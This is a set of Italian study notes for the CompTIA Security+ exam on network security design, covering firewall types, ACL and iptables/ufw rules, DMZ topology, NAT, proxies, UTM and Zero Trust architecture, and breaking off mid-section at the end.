WAF Il più diffuso — incluso se il sito passa da Cloudflare Cloud AWS WAF Integrato con CloudFront e Load Balancer Cloud Azure WAF Integrato con Application Gateway Software open source ModSecurity Modulo per Apache/Nginx — usa OWASP CRS Software NGINX App Protect WAF commerciale integrato in Nginx Hardware enterprise F5 BIG-IP Appliance fisica — banche, telco ModSecurity + OWASP CRS è lo stack open source standard:\nModSecurity = il motore WAF (modulo Apache/Nginx) OWASP CRS (Core Rule Set) = le regole che riconoscono SQLi, XSS, CSRF, path traversal Come developer PHP/Symfony: se hai configurato Apache o Nginx, ModSecurity è il WAF che si installa come modulo. Se il sito usava Cloudflare, avevi un WAF attivo senza saperlo.\nNGFW (Next-Generation Firewall): # NGFW = Next-Generation Firewall — 3a generazione di firewall. 1a generazione: stateless — filtra su ACL (IP/porta/protocollo) 2a generazione: stateful — aggiunge stato sessione (three-way handshake) 3a generazione (NGFW): aggiunge DPI, application awareness, user identity, content filtering Deep Packet Inspection (DPI) — analizza il contenuto del pacchetto come Wireshark, ma in tempo reale e automatico su milioni di pacchetti/secondo. Opera a Layer 7. Anche chiamato Layer 7 firewall. Identifica applicazioni indipendentemente dalla porta — BitTorrent su porta 443 sembra HTTPS per il stateful, il NGFW riconosce il pattern del protocollo nel payload e lo blocca. Anche chiamato: application layer gateway, stateful multilayer inspection, deep packet inspection. Usa ACL ma le estende — non le sostituisce. Le regole sono più avanzate: Stateful: DENY TCP any any port 443 — blocca per porta NGFW: DENY APP BitTorrent — blocca per applicazione, qualunque porta usi IPS integrato — il NGFW mantiene una lista di vulnerabilità note e blocca i relativi exploit direttamente nel firewall. URL categorization — blocca categorie intere (gambling, adult) o URL specifici (espn.com, yahoo.com). Esempi pratici di regole NGFW (impossibili su stateful):\nTwitter: permetti lettura, blocca il posting — stessa porta 443, applicazione diversa SQL Server: permetti il traffico indipendentemente dalla porta usata YouTube: blocca la visione dei video ma permetti la navigazione del sito Cosa vede ogni firewall — dal pacchetto al contenuto:\nStateless: [IP src] [IP dst] [porta] → ACL → passa/blocca Stateful: [IP src] [IP dst] [porta] [stato TCP] → passa/blocca NGFW: [IP src] [IP dst] [porta] [stato TCP] [app] [utente] [contenuto] → passa/blocca Firewall Vede Non vede Stateless IP + porta Tutto il resto Stateful IP + porta + stato sessione Contenuto NGFW IP + porta + sessione + applicazione + utente + contenuto — Host-Based Firewall:\nSoftware sull'host individuale (Windows Defender Firewall, iptables/ufw). Protegge il singolo host — monitora il traffico che passa per la NIC. Usato in azienda su ogni server per bloccare lateral movement anche da traffico interno alla LAN. Network-Based Firewall:\nHardware dedicato (appliance) o virtual appliance — ha due o più NIC (Network Interface Card), una lato internet, una lato LAN. Tutto il traffico deve fisicamente passarci attraverso. Posizionato al perimetro, tra internet e la rete interna. Vendor enterprise: Palo Alto (NGFW più quotato negli annunci di lavoro), Cisco ASA, Fortinet. Host-based Network firewall Gira su Il singolo PC/server Hardware dedicato o VM Protegge Solo quella macchina Tutta la rete Esempi Windows Defender Firewall, iptables Palo Alto, Cisco ASA, pfSense Usato Casa + azienda Casa + azienda A casa li hai già entrambi: il router (network firewall, NAT + SPI) e Windows Defender (host-based sul PC). In azienda si usano insieme come parte della strategia defense in depth — il network firewall blocca al perimetro, l'host-based ferma gli attacchi interni.\nDefense-in-depth — host-based + network firewall:\nNessun singolo controllo è sufficiente. Se uno fallisce, il successivo ferma l'attacco:\nInternet │ [Network firewall] ← Layer 1: blocca al perimetro │ [Switch + VLAN] ← Layer 2: segmenta la rete interna │ [Host-based firewall] ← Layer 3: protegge il singolo server │ [Applicazione] ← Layer 4: autenticazione, autorizzazione Scenario reale: un attaccante bypassa il network firewall con traffico HTTPS cifrato che sembra legittimo → entra nella LAN → tenta lateral movement verso il DB server → l'host-based firewall del DB server blocca la connessione non autorizzata. Senza host-based firewall, una volta dentro la LAN si muove liberamente.\nImportant Gibson: \u0026quot;You should use host-based firewalls and network firewalls together to achieve a defense-in-depth approach to network security.\u0026quot;\nTopologia casa:\n[Router/Firewall consumer] NIC 0: IP pubblico ISP NIC 1: 192.168.1.1 Switch integrato (4 porte) Internet ──────────────────────┤ ├── PC 192.168.1.10 ├── Laptop 192.168.1.11 └── Telefono 192.168.1.12 (Wi-Fi) Il router consumer è router + firewall (NAT/SPI) + switch + access point — tutto in un box.\nTopologia aziendale:\nInternet │ │ IP pubblico │ [Firewall hardware] ← Palo Alto / Cisco ASA (NGFW) │ NIC 0: WAN (internet) │ NIC 1: DMZ │ NIC 2: LAN │ ├──[DMZ]────────────────────────────────────── │ Web server Mail server CA │ └──[Switch core]────────────────────────────── │ ├── [Switch piano 1] ── PC, workstation ├── [Switch piano 2] ── PC, workstation ├── [Server farm] ── DB, file server └── [Jump server] ── accesso admin │ [Host-based firewall su ogni server] Il firewall hardware fa da router perimetrale — gestisce il traffico tra internet, DMZ e LAN. Gli switch interni distribuiscono il traffico nella LAN senza passare dal firewall.\nHardware vs Virtual/Software — quando si sceglie:\nHardware appliance Virtual / Software Performance Massima — chip ASIC dedicato Dipende dall'hardware sottostante Scalabilità Limitata — aggiungi box fisici Alta — aggiungi VM in minuti Costo Alto — hardware + licenza Inferiore — solo licenza Deploy Fisico — rack, cablaggio Rapido — template VM Quando On-premise, traffico alto, compliance Cloud, ambienti virtualizzati, hybrid Palo Alto offre entrambi: PA-series (hardware), VM-series (virtual appliance), Prisma Cloud (cloud-native) — stessa interfaccia, stesso set di regole.\nTopologia cloud (AWS):\nInternet │ [AWS Edge / CloudFront] │ [AWS Network Firewall] ← equivalente Palo Alto, tutto virtuale │ ├──[Public Subnet / DMZ]───────────────────── │ EC2 web server Load Balancer │ [Security Group] ← host-based firewall virtuale │ └──[Private Subnet / LAN]──────────────────── EC2 app server RDS database [Security Group su ogni istanza] In cloud non esistono switch fisici — tutto il networking è software dentro il VPC (Virtual Private Cloud):\nOn-premise Cloud (AWS) Switch fisico VPC — rete virtuale NIC fisica vNIC virtuale Firewall hardware (Palo Alto) AWS Network Firewall / Palo Alto VM-series Host-based firewall Security Group su ogni istanza DMZ fisica Public Subnet LAN interna Private Subnet Tip Stateful = Layer 4 firewall. NGFW e WAF = Layer 7 firewalls.\nRiepilogo esame — i tre tipi a confronto:\nFirewall Usa ACL Considera stato sessione Protegge da Stateless Sì — solo ACL No — ogni pacchetto è anonimo IP/porta sbagliati Stateful Sì + SPI Sì — sa se la sessione è ESTABLISHED + traffico non richiesto WAF — — Solo attacchi web app (SQLi, XSS, CSRF) Domande esame tipiche:\n\u0026quot;Quale firewall blocca SQL injection?\u0026quot; → WAF — stateless e stateful non leggono il payload HTTP \u0026quot;Differenza tra stateless e stateful?\u0026quot; → entrambi usano ACL, ma stateful considera lo stato della sessione (SPI) \u0026quot;WAF sostituisce il network firewall?\u0026quot; → No — si aggiunge come layer extra (defense-in-depth) Regole Firewall # Regole applicate in ordine sequenziale — la prima che corrisponde vince. Regole specifiche prima di quelle generali.\nChain (catena di regole)\nUna chain è una lista ordinata di regole. Il pacchetto le attraversa dall'alto verso il basso finché non trova una regola che matcha — lì viene processato (ACCEPT, DROP, o saltato in un'altra chain).\nLe tre chain principali di iptables:\nChain Traffico INPUT Diretto a questo host OUTPUT Che parte da questo host FORWARD Che passa attraverso (Linux come router) L'ordine conta: una regola aggiunta con -A (append) va in fondo. Se una chain UFW/firewall occupa le prime posizioni, le regole manuali aggiunte dopo potrebbero non essere mai raggiunte — il pacchetto è già stato processato prima.\nNote Su Linux con UFW attivo, UFW inserisce le proprie chain (ufw-before-input, ufw-after-input ecc.) all'inizio di INPUT. Le regole iptables manuali vanno aggiunte tramite UFW — non con -A INPUT direttamente — altrimenti non vengono mai valutate.\n# Corretto su sistema con UFW sudo ufw allow proto tcp from 192.168.64.200 to any port 9999 sudo ufw status numbered # verifica sudo ufw delete [numero] # rimuovi # Raw iptables — solo su sistemi senza UFW sudo iptables -A INPUT -p tcp --dport 9999 -j ACCEPTStruttura di una regola ACL — 5 elementi:\nElemento Valori tipici Esempio Permission PERMIT / ALLOW / DENY PERMIT Protocol TCP, UDP, IP, ICMP TCP Source IP, subnet, any any Destination IP, subnet, any 192.168.1.10 Porta numero o nome 443 / HTTPS IP come protocollo = blocca tutto (TCP + UDP + ICMP) — IP è Layer 3 e incapsula tutto quello che sta sopra. TCP blocca solo TCP, UDP solo UDP.\nPERMIT TCP any 192.168.1.10 443 ← permetti HTTPS al web server PERMIT TCP any 192.168.1.10 22 ← permetti SSH DENY IP any any ← blocca tutto il resto (TCP+UDP+ICMP) → Lab pratico: lab-router-acl-iptables — Fase 5: scrittura regole complete\nExplicit deny — regola finale esplicita scritta dall'admin: deny any any / deny any / drop all. Implicit deny — alcuni dispositivi la aggiungono automaticamente come ultima riga.\nImportant All'esame: \u0026quot;Come si implementa l'implicit deny?\u0026quot; → deny any any alla fine dell'ACL. Su alcuni dispositivi va scritta manualmente, su altri è automatica.\nCosa hanno in comune — e quale si usa oggi # Tutti e 4 filtrano traffico con implicit deny. Tutti usano ACL — la differenza è quanto in profondità guardano il pacchetto:\nFirewall Usa ACL Come Stateless Sì — solo ACL Regole IP/porta/protocollo Stateful Sì + stato sessione Stesse regole + traccia three-way handshake NGFW Sì + DPI + app awareness Regole per applicazione, utente, contenuto WAF Sì — solo HTTP/HTTPS Regole su pattern web (SQLi, XSS, CSRF) Quale si usa oggi — si usano insieme in layers:\nInternet │ [NGFW] ← perimetro — sostituisce stateless+stateful, aggiunge DPI │ [WAF] ← davanti ai web server nella DMZ │ [Host-based] ← iptables/ufw su ogni server Il NGFW ha sostituito stateless e stateful puri nel perimetro aziendale. Stateless puro rimane solo su backbone internet e AWS NACL per performance. Il WAF non è alternativo al NGFW — si aggiunge specificamente davanti ai web server.\nFailure Modes # Si applica a qualsiasi security system che fa enforcement — principalmente firewall, router con ACL, WAF, IPS. Non IDS (che rileva ma non blocca).\nModalità Comportamento in caso di guasto Priorità CIA Fail-open Permette tutto il traffico Availability — la rete funziona, ma perdi Confidentiality e Integrity Fail-closed Blocca tutto il traffico Confidentiality — sei sicuro, ma perdi Availability Esempi concreti di guasto:\nSecurity system Fail-open Fail-closed Firewall crasha Tutto passa senza controllo Rete inaccessibile Router con config errata Instrada anche traffico che doveva bloccare Droppa tutto WAF va in crash Richieste arrivano al web server senza filtro SQLi/XSS Sito irraggiungibile IPS si blocca Traffico malevolo passa non rilevato Rete bloccata I security professional preferiscono fail-closed — un firewall che crasha e lascia passare tutto è peggio di nessun firewall, perché dà falsa sicurezza. Eccezione: sistemi dove la disponibilità è critica (ospedali, infrastrutture) — lì si valuta caso per caso.\nImplementing Network Designs # mindmap root((Implementing Network Designs)) Screened Subnet DMZ FW1 internet verso DMZ FW2 DMZ verso LAN Web Mail CA server in DMZ Due vendor diversi best practice Intranet Extranet Intranet solo dipendenti LAN Extranet partner fornitori zona separata Security zones Trusted Untrusted Screened NAT Traduce IP privato in pubblico PAT stesso IP pubblico porte diverse Static NAT 1 a 1 server pubblici Dynamic NAT pool ISP IPsec incompatibile usa NAT-T Segmentazione Air gap fisico totale SCADA militare VLAN logica stesso switch Router ACL subnet diverse Screened subnet due FW buffer Proxy Forward proxy LAN client verso internet Transparent proxy invisibile al client Reverse proxy DMZ protegge server LAN Cache content filter log Content Filtering Blocklist tutto il resto permesso Allowlist tutto il resto bloccato URL filtering blacklist domini DNS filtering blocca prima connessione UTM Un solo dispositivo tutto incluso Firewall URL malware IPS VPN SMB budget limitato Layer 4 solo porte non app Screened Subnet (DMZ) # Important Screened subnet = DMZ. Stessa cosa, nome diverso. CompTIA SY0-701 usa \u0026quot;screened subnet\u0026quot; — ma nel mondo reale, negli annunci di lavoro, nei libri e nelle conversazioni si dice quasi sempre DMZ. Se all'esame vedi \u0026quot;screened subnet\u0026quot; pensa subito DMZ. Se in azienda senti DMZ, è la screened subnet di Gibson.\nLa screened subnet è un cuscinetto (buffer zone) tra internet e la LAN interna, protetta da due firewall:\nFW1 — tra internet e la DMZ (firewall perimetrale) FW2 — tra la DMZ e l'intranet (firewall interno, protegge la LAN) I server pubblici (web, mail, CA) stanno nella DMZ — raggiungibili da internet, ma la stessa chiamata che arriva al mail server non passa davanti a FW2. FW2 protegge la LAN interna e non la vede mai direttamente. graph TD I[\"Internet Public IPs\"] --\u003e FW1[\"FW1 Firewall perimetrale (tra internet e DMZ)\"] FW1 --\u003e DMZ[\"DMZ — Screened Subnet Mail Server | Web Server | CA Server\"] DMZ --\u003e FW2[\"FW2 Firewall interno (tra DMZ e intranet — protegge la LAN)\"] FW2 --\u003e LAN[\"Intranet — LAN interna DB Server | Private IPs\"] Perché esiste la DMZ — il problema che risolve:\nSenza DMZ il web server starebbe nella LAN. Quando viene compromesso, l'attaccante è già dentro con accesso a DB, PC e tutto il resto. Con la DMZ, la compromissione rimane confinata al cuscinetto — FW2 blocca prima che raggiunga la LAN. Stesso principio dell'hardening: limitare il blast radius.\nCome funzionano le regole sui due firewall:\nServer FW1 (internet → DMZ) FW2 (DMZ → LAN) Mail Server Porta 25/587 aperta Porta 25/587 aperta verso client interni Web Server Porte 80/443 aperte Porte 80/443 bloccate — internet non entra nella LAN CA Server Risponde per validare certificati — DB Server Non raggiungibile — sta nella LAN Solo porta 1433 aperta, solo dal web server Cosa può stare nella DMZ:\nWeb server (HTTP/HTTPS), Mail server (SMTP), CA server FTP server, VPN server, WAF, Jump server Esempio e-commerce — flusso completo:\nBrowser utente │ HTTPS 443 ▼ [FW1] — regola: PERMIT TCP any → 192.168.2.10 (web server) port 443 │ ▼ Web Server (192.168.2.10) — DMZ PHP/Symfony riceve la richiesta, deve caricare i prodotti dal DB: $pdo = new PDO(\u0026#39;mysql:host=192.168.1.20;dbname=shop\u0026#39;, $user, $pass); │ SQL query porta 1433 ▼ [FW2] — regola: PERMIT TCP 192.168.2.10 → 192.168.1.20 port 1433 DENY TCP any → 192.168.1.20 port 1433 │ ▼ DB Server (192.168.1.20) — LAN interna Risponde solo al web server, mai direttamente al browser FW1 permette traffico verso il web server (porta 443). Il web server fa la query al DB. FW2 accetta chiamate AL DB solo DAL web server (IP specifico) — dall'esterno nessuno può raggiungere il DB direttamente, nemmeno conoscendo il suo IP. Un attaccante che bypassa FW1 è nella DMZ ma trova FW2 davanti al DB.\nEsempio extranet: lo stesso web server ospita un portale per business partner. Dopo autenticazione, il partner accede al DB tramite il web server. La LAN interna non è mai esposta direttamente.\nPerché FW1 e FW2 dovrebbero essere vendor diversi:\nSecurity best practice: se un attaccante trova una vulnerabilità zero-day in Palo Alto e bypassa FW1, si trova davanti FW2 di Fortinet — architettura diversa, exploit diverso necessario. Due vendor = doppio ostacolo.\nImportant Gibson: \u0026quot;A screened subnet is a buffer zone between the Internet and an internal network.\u0026quot; — Traduzione: è un cuscinetto. I client internet raggiungono i servizi nella DMZ, ma quella stessa connessione non passa davanti a FW2 e non raggiunge mai la LAN interna.\nIntranet vs Extranet # In azienda raramente si esce su internet direttamente — a differenza di casa dove il router è l'unico layer. Il traffico passa attraverso più layer di controllo prima di uscire:\nPC dipendente │ Switch interno │ Firewall interno (NGFW) ← filtra e monitora │ Proxy / DMZ ← logga tutto il traffico │ Firewall perimetrale ← secondo layer di controllo │ Internet Questo per sicurezza, controllo (l'azienda vede tutto il traffico) e compliance (banche, healthcare devono dimostrare che nessun dato esce senza controllo).\nIntranet Extranet Chi accede Solo dipendenti interni Partner, fornitori, clienti autorizzati Dove sta LAN interna Zona separata tra LAN e internet Esempi Wiki aziendale, HR portal, Jira interno Portale fornitori, area clienti, B2B API Accesso esterno No Sì — limitato e controllato Security zones = dividere la rete per limitare chi parla con chi. Se un attaccante entra in una zona, non può raggiungere le altre — riduce la attack surface.\nLe zone hanno nomi che descrivono il livello di fiducia:\nNome zona Corrisponde a Fiducia Trusted / Inside / Internal LAN interna Alta Untrusted / Outside / Internet Internet Nessuna Screened DMZ / Screened subnet Media — accesso controllato Le regole firewall si scrivono in termini di zone: \u0026quot;permetti traffico da Untrusted a Screened su porta 443\u0026quot; — più leggibile e manutenibile di regole su singoli IP.\nNAT — Network Address Translation # NAT traduce IP privati in pubblici (uscita) e IP pubblici in privati (rientro). Il NAT gateway è tipicamente il router — gestisce la traduzione in entrambe le direzioni automaticamente insieme al firewall stateful (SPI traccia la sessione, NAT traduce gli indirizzi).\nPC (192.168.1.10) → richiesta google.com │ NAT Gateway Traduce: 192.168.1.10:52341 → 85.x.x.x:52341 (privato → pubblico) Registra: 85.x.x.x:52341 ↔ 192.168.1.10:52341 (tabella NAT) │ Google risponde a 85.x.x.x:52341 │ NAT Gateway Consulta tabella: 85.x.x.x:52341 → 192.168.1.10:52341 Traduce: 85.x.x.x:52341 → 192.168.1.10:52341 (pubblico → privato) │ PC riceve la risposta Motivo Spiegazione Esaurimento IPv4 Migliaia di device interni condividono un solo IP pubblico Sicurezza Gli IP interni non sono mai visibili su internet Semplicità Puoi cambiare IP pubblico senza riconfigurare i device interni PAT — Port Address Translation:\nLa forma più comune di NAT. Invece di usare IP pubblici diversi per ogni device, usa lo stesso IP pubblico con porte sorgente diverse — è quello che fa il router di casa:\nPC1 (192.168.1.10:52341) → 85.x.x.x:52341 PC2 (192.168.1.11:61200) → 85.x.x.x:61200 ← stesso IP pubblico, porta diversa PC3 (192.168.1.12:44100) → 85.x.x.x:44100 Tutti e tre i device condividono un solo IP pubblico — il NAT li distingue tramite la porta.\nStatic NAT vs Dynamic NAT:\nStatic NAT Dynamic NAT Mapping 1:1 — un IP privato → sempre stesso IP pubblico Molti:molti — NAT sceglie l'IP pubblico in base al carico Usato per Server che devono essere raggiungibili con IP fisso (web server, mail server) ISP come Fastweb con milioni di clienti IP pubblici Uno per device Pool di IP pubblici Esempio Fastweb — due NAT in cascata:\nFastweb ha milioni di clienti consumer. Non ha abbastanza IP pubblici per dargliene uno fisso a testa → usa Dynamic NAT (o CGNAT) lato infrastruttura, PAT lato router di casa:\nPC (192.168.1.10) PC (192.168.1.11) → PAT router di casa → 85.x.x.x (IP Fastweb) PC (192.168.1.12) ↑ ↑ NAT interno Dynamic NAT Fastweb (router di casa) (IP dal pool, cambia ad ogni connessione) Piano consumer (IP dinamico): Fastweb assegna un IP dal pool ogni volta che il router si connette. L'IP può cambiare — per questo serve DDNS se vuoi essere raggiungibile dall'esterno. Piano business (IP fisso): Static NAT — Fastweb mappa sempre lo stesso IP pubblico alla tua linea. Serve per ospitare server raggiungibili dall'esterno. Drawback — incompatibilità con IPsec:\nIPsec firma il pacchetto includendo l'header IP con gli indirizzi. Quando NAT cambia l'indirizzo IP sorgente, la firma non corrisponde più → IPsec fallisce. Soluzione: NAT-T (NAT Traversal) — incapsula il traffico IPsec dentro UDP porta 4500, bypassando il problema. Se il tuo design include IPsec attraverso NAT, devi verificare attentamente la compatibilità.\nSegmentazione di Rete # Segmentare il traffico = dividere la rete in zone isolate in modo che una compromissione in una zona non si propaghi alle altre.\nSenza segmentazione tutti i device si vedono — un attaccante che entra da qualsiasi punto raggiunge tutto. Con segmentazione ogni zona parla solo con chi deve, il resto è bloccato.\nMetodo Tipo Come separa Air gap Fisico Nessun cavo — separazione totale Router + ACL Logico Subnet diverse, regole su chi parla con chi Firewall Logico Regole stateful, DPI VLAN Logico Stessi switch fisici, separati logicamente Screened subnet Fisico + logico Due firewall, zona buffer Air gap — isolamento fisico totale. Nessun cavo, nessuna connessione di rete. L'unico modo per trasferire dati è fisicamente (USB, microSD, CD). SCADA (Supervisory Control and Data Acquisition) — sistemi industriali che controllano infrastrutture critiche: centrali elettriche, acquedotti, gasdotti, fabbriche. Tenuti in air gap perché un attacco informatico può causare danni fisici reali. Esempio famoso: Stuxnet (2010) ha colpito centrifughe nucleari iraniane nonostante l'air gap — tramite una USB infetta portata fisicamente dentro. Reti militari / classificate — documenti top secret su reti fisicamente separate da internet. Hardware wallet Bitcoin (Coldcard) — le chiavi private non escono mai dal dispositivo. Per firmare: PC online crea transazione non firmata → microSD → Coldcard firma offline → microSD → PC fa broadcast. Un attaccante che compromette il PC non vede mai le chiavi. VLAN — segmentazione logica sugli switch Router con ACL — separazione logica con controllo traffico Screened subnet — zona isolata tra due firewall Load Balancer # Distribuisce il traffico tra più server backend. Migliora disponibilità e prestazioni. NAT usato insieme: un IP pubblico → più IP privati backend.\nProxy Server # Proxy = procuratore, intermediario. Va su internet al posto tuo — il sito vede l'IP del proxy, non il tuo. Anche chiamato forward proxy server.\nSenza proxy: PC → google.com direttamente Con proxy (forward proxy): PC → Proxy server → google.com ↑ va lui, non tu Google vede l'IP del proxy, non il tuo. Il proxy recupera la risposta e te la passa.\nCome ti difende:\nIl sito vede l'IP del proxy — se il sito è malevolo non sa chi sei Controlla la richiesta prima di inoltrarla — se il sito è in blacklist ti blocca prima che tu ci arrivi, mostrando una pagina warning Forward Proxy:\ngraph LR C[\"Client LAN\"] --\u003e FP[\"Forward Proxy Cache - Filter - Log\"] FP --\u003e I[\"Internet\"] Il client configura esplicitamente il proxy. Funzioni principali:\nCache — performance: Il proxy salva le pagine già visitate. Se Lisa apre GetCertifiedGetAhead.com, il proxy la memorizza. Quando Homer apre la stessa pagina, il proxy gliela dà dalla cache senza uscire su internet — risparmio di banda, risposta più veloce. Cache = storage temporaneo (RAM o disco veloce).\nWarning Cache poisoning: un attaccante inietta contenuto malevolo nella cache del proxy. Gli utenti successivi ricevono il contenuto malevolo dal proxy invece dell'originale — stesso principio del DNS cache poisoning.\nContent filtering: Il proxy controlla ogni richiesta contro una blacklist di URL (siti malware, phishing, gambling, contenuti vietati). Le liste vengono comprate in abbonamento da vendor specializzati che categorizzano milioni di siti. Se il sito è in blacklist → blocca + mostra pagina warning con riferimento alla acceptable use policy. I log registrano ogni sito visitato da ogni utente.\nCentralized vs Agent-based:\nCentralized Agent-based Dove gira Server proxy dedicato in rete Software su ogni PC utente Configurazione Un punto centrale Policy scaricata da server centrale, applicata localmente Usato Aziende — controllo centralizzato Device fuori rete (laptop in smart working) Proxy vs Firewall — content filtering:\nProxy Firewall NGFW Layer L7 — capisce HTTP, URL, contenuto L3/L4 base, L7 con DPI Cache Sì No Filtra per URL, categoria, parole chiave IP, porta, applicazione, URL Trend Sostituito da NGFW nelle aziende medie Integra URL filtering nativamente Transparent Proxy: stesso lato del forward proxy — sta nella LAN interna, serve i client. Non confonderlo con il reverse proxy che sta nella DMZ. L'unica differenza è che il client non sa di usarlo — nessuna configurazione necessaria.\nForward proxy Transparent proxy Reverse proxy Lato Client → internet Client → internet Internet → server Dove sta LAN interna LAN interna DMZ Il client sa? Sì — lo configura No — invisibile No — pensa di parlare col server Content filtering Sì No No Cache Sì Sì Sì Log Sì Sì Sì Usato da Aziende per controllo ISP per caching silenzioso Aziende per proteggere server Dove si trovano i tre proxy nella topologia:\nInternet ← bordo esterno │ [FW1] ← firewall perimetrale (tra internet e DMZ) │ [DMZ] ← zona buffer ├── Reverse proxy ← riceve da internet, passa ai server LAN ├── Mail server └── CA server │ [FW2] ← firewall interno (tra DMZ e intranet) │ [LAN interna / Intranet] ├── Forward proxy ← serve i client interni per uscire su internet ├── Transparent proxy← stesso posto del forward, invisibile ai client ├── DB server └── PC dipendenti ← bordo interno Internet │ [FW1] │ [DMZ] ├── Reverse proxy ← riceve richieste da internet, le passa ai server LAN ├── Mail server └── CA server │ [FW2] │ [LAN interna] ├── Forward proxy ← serve i client interni per uscire su internet ├── DB server └── PC dipendenti Reverse Proxy:\ngraph LR I[\"Internet\"] --\u003e RP[\"Reverse Proxy DMZ\"] RP --\u003e WS1[\"Web Server 1 LAN\"] RP --\u003e WS2[\"Web Server 2 LAN\"] Sta nella DMZ. Appare ai client come un web server, ma in realtà inoltra le richieste ai web server reali nella LAN interna. I client non conoscono mai gli IP reali dei server.\nSenza reverse proxy: Il web server starebbe direttamente nella DMZ con IP pubblico noto — chiunque su internet può targetarlo direttamente. Con il reverse proxy il web server si nasconde nella LAN privata — l'attaccante deve bucare prima il reverse proxy e poi ancora FW2 prima di arrivarci.\nFlusso esempio — Bart apre GetCertifiedGetAhead.com:\nBart → reverse proxy (DMZ) → web server (LAN) → risposta → reverse proxy → Bart Bart pensa di parlare con il web server — in realtà parla sempre con il reverse proxy. Il web server non è mai esposto.\nFunzioni del reverse proxy:\nCache — salva le pagine come il forward proxy → migliora le performance del sito Load balancing — distribuisce le richieste tra più web server (web farm) → scalabilità SSL termination — gestisce HTTPS al posto del web server → meno carico sul server Protezione — nasconde IP e architettura interna Transparent vs Non-transparent proxy:\nTransparent Non-transparent Modifica le richieste No — le inoltra as-is Sì — applica URL filter Content filtering No Sì — blocca siti vietati Log attività Sì Sì Configurazione client Nessuna — invisibile Il client sa di usarlo Caching Proxy: memorizza risposte precedenti. Riduce larghezza di banda.\nCentralized vs Agent-Based:\nCentralized — singolo server proxy per tutta la rete Agent-based — software su ogni client Content Filtering e Web Filter # Content Filtering: blocca categorie di siti (social media, gambling).\nURL Filtering: blacklist di domini specifici.\nURL Scanning e Reputation: analisi in tempo reale + punteggio di reputazione per siti non ancora in blacklist.\nBlock Rules e Open/Closed Lists:\nBlocklist — siti bloccati, tutto il resto permesso Allowlist — siti permessi, tutto il resto bloccato (più sicuro) DNS Filtering: blocca a livello DNS prima che la connessione venga stabilita.\nUTM — Unified Threat Management # UTM = un solo dispositivo che fa tutto quello che prima richiedeva apparecchi separati.\nPrima ogni minaccia aveva la sua soluzione separata — firewall, proxy, antivirus gateway, IPS, spam filter — dispositivi diversi, console diverse, admin diversi. UTM li combina in uno:\nUTM appliance ├── Firewall ├── URL filtering (come il proxy) ├── Malware inspection (antivirus gateway) ├── Content inspection (spam filter, blocco file zip, streaming) ├── Spam filter (blocca email indesiderate) ├── IDS/IPS (rileva e blocca attacchi) ├── VPN concentrator (endpoint VPN per remote worker) ├── Bandwidth shaper / QoS (priorità al traffico voce su dati) ├── CSU/DSU (connettività WAN — linee dedicate) └── DDoS mitigator Un solo dispositivo, una sola console, un solo rinnovo di licenza.\nDrawback importante: molti UTM lavorano solo a Layer 4 — vedono solo porte, non applicazioni. Attivare troppe feature contemporaneamente degrada le performance — spesso si abilitano solo le funzioni essenziali per non rallentare tutto.\nChi lo usa:\nAziende piccole/medie — budget limitato, pochi admin, non possono gestire 5 dispositivi separati Enterprise — preferiscono soluzioni separate (best-of-breed per ogni funzione) con più controllo Dove sta: al bordo della rete tra internet e intranet — stesso posto di FW1. Se usato come proxy può stare nella DMZ.\nProdotti comuni: Fortinet\nNote La linea tra UTM e NGFW si è assottigliata. Fortinet FortiGate oggi fa entrambe le cose — la differenza è più di target: UTM → SMB (semplicità), NGFW → enterprise (performance e controllo granulare).\nZero Trust # mindmap root((Zero Trust)) Principio Never trust always verify Identita non posizione Anche utenti interni verificati Adaptive Identity PC aziendale ufficio solo password Da casa MFA password OTP Device personale MFA postura IP anomalo blocco alert Control Plane DECIDE PE Policy Engine giudice grant deny PA Policy Administrator messaggero PE + PA = PDP Data Plane ESEGUE PEP Policy Enforcement Point gatekeeper Attraversa il confine tra i piani Blocca finche PA non decide Flusso Utente chiede accesso PEP raccoglie info passa a PA PE valuta contesto grant deny PA comunica al PEP PEP permette o blocca Componenti Data Plane Subject utente System device Enterprise resource obiettivo PEP unico a attraversare il confine Principio fondamentale: nessun utente, dispositivo o sistema è fidato per default, indipendentemente dalla posizione.\nPerché è nato Zero Trust — il perimetro non esiste più:\nLa vecchia filosofia era l'implicit trust — chi era dentro il perimetro della rete era fidato, chi era fuori no. Funzionava quando tutti i dipendenti erano in ufficio e tutto stava nella LAN.\nIl problema della LAN aperta: nelle reti tradizionali, una volta dentro la LAN sei libero di muoverti da sistema a sistema senza controlli. Questo vale per gli utenti autorizzati, ma anche per gli attaccanti che hanno bucato il perimetro e per il malware. Zero Trust risolve questo: anche dentro la LAN devi autenticarti per ogni risorsa.\nOggi non funziona più:\nRemote worker da casa → fuori dal perimetro Cloud (AWS, Azure) → fuori dal perimetro BYOD (dispositivi personali) → dentro il perimetro ma non controllati Il perimetro è diventato irrilevante — Zero Trust ignora la posizione e si concentra sull'identità.\nAnalogia:\nVecchio modo: ufficio con badge — entri, sei fidato, puoi girare liberamente Zero Trust: aeroporto — passi il controllo passaporti, poi security, poi ancora il gate. Ogni step verifica. Essere \u0026quot;dentro\u0026quot; non ti dà automaticamente accesso a tutto. Zero Trust: \u0026quot;Never trust, always verify.\u0026quot;\nAdaptive Identity — il livello di autenticazione cambia in base al contesto:\nContesto Autenticazione richiesta PC aziendale in ufficio Solo password PC aziendale da casa MFA (password + OTP) Device personale al bar MFA + verifica postura device Accesso a dati critici da IP anomalo Blocco + alert immediato Il sistema valuta continuamente: chi sei, da dove accedi, che device usi, che ora è, che risorsa vuoi — e decide il livello di verifica necessario.\ngraph TD subgraph CP[\"Control Plane - DECIDE\"] PE[\"Policy Engine PE Valuta la richiesta Grant o Deny\"] PA[\"Policy Administrator PA Comunica la decisione Genera token di sessione\"] end subgraph DP[\"Data Plane - ESEGUE\"] PEP[\"Policy Enforcement Point PEP Permette o blocca l'accesso\"] end U[\"Utente o Device\"] --\u003e PEP PEP --\u003e PA PA --\u003e PE PE --\u003e PA PA --\u003e PEP PEP --\u003e R[\"Risorsa\"] Control Plane vs Data Plane:\nControl Plane Data Plane Cosa fa Configura e gestisce — routing table, firewall rules, NAT config Processa il traffico reale in real-time — forwarding, NAT, routing Chi sta qui PE + PA (= PDP) PEP, switch, router, firewall (le interfacce fisiche) Su un switch fisico La configurazione (VLAN, trunk, ACL) Le porte fisiche che muovono i frame Analogia Cabina di regia — decide le regole del gioco La pista — i voli atterrano e decollano Vale per qualsiasi dispositivo — fisico (switch, router, firewall), virtuale (vSwitch, vFirewall), o cloud. Separati perché: se un attaccante accede al Control Plane può riconfigurare tutta la rete. Tenerli separati limita il blast radius.\nTip Esempi concreti 